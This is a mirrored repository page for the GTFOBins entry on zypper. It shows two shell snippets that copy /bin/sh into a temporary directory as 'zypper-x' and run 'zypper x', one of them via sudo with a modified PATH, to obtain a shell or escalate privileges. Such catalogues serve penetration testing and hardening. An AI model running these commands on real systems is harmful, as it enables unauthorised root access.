This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-11-16 08:35:14 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
2470ad449f0430cb99427f5f5234336769b75dde
GTFOBins.github.io
/
_gtfobins
/
zypper.md
Andrea Cardaci
b92d9e0ec2
Fix sudo zypper
...
`PATH` is a forbidden variable that is not preserved by -E anyway.
2020-06-10 22:54:20 +02:00
611 B
Raw
Blame
History
functions
functions
shell
sudo
description
code
This requires `/bin/sh` to be copied to `/usr/lib/zypper/commands/zypper-x` and this usually requires elevated privileges.
zypper x
code
TF=$(mktemp -d) cp /bin/sh $TF/zypper-x export PATH=$TF:$PATH zypper x
description
code
This requires `/bin/sh` to be copied to `/usr/lib/zypper/commands/zypper-x` and this usually requires elevated privileges.
sudo zypper x
code
TF=$(mktemp -d) cp /bin/sh $TF/zypper-x sudo PATH=$TF:$PATH zypper x
Reference in New Issue
View Git Blame
Copy Permalink